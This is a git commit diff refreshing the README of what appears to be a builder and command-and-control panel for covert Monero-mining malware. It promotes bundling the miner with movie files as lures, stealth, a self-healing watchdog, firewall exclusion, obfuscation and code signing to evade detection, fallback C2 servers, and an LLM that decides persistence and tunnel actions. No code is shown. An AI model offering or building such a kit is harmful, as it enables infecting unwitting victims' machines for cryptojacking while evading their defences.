docs: refresh README for current feature set and auth model

README.md

@@ -69,10 +69,13 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
 - Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
 - Blueprint save/load — re-forge the same profile across machines
 - Build manager — download, paths, LAN QR for worker URL
-- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode signing
-- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or prep `.exe`); two delivery modes (see below)
-- **Batch forge** — queue many movies; progress bar; one ZIP per title
+- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation (all platforms), Authenticode / `osslsigncode` signing
+- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
+- **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token
+- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
 - Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
+- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
+- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
 - **Universal movie fusion** — one ZIP per title with per-OS runners; macOS gets a `.app` bundle (LSUIElement)
 
 ### Cross-platform workers
@@ -115,14 +118,18 @@ fusion-deliverables/Vacation/
 ### Calibrate (Settings)
 - Server port, public URL, data retention, max agents
 - Default pool + wallet for new forge forms
-- **Users** — add/change API accounts (default until `data/users.json` exists: see Quick Start)
+- **Users** — add/change API accounts (first-run password auto-generated and printed to console)
 - Alert thresholds + Telegram / email notifications
 - Open Windows Firewall for dashboard port on startup
 
 ### Under the Hood
-- **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host
+- **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host; `payment_id` appended to login when set in Calibrate
 - **WebSocket hub** — agents and dashboard get live stats, jobs, alerts
-- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide`
+- **Fleet secret** — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret
+- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` (fleet-secret gated)
+- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when `garble` is on PATH
+- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
+- **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately
 - **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
 - **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `run.bat`)
 
@@ -137,7 +144,7 @@ fusion-deliverables/Vacation/
 
 2. Browser opens **http://localhost:8989**
 
-3. **Sign in** when prompted (default credentials below)
+3. **Sign in** when prompted — on first run, check the console window for your generated admin password
 
 4. **Calibrate** → set your Monero wallet + pool + (optional) public URL for remote workers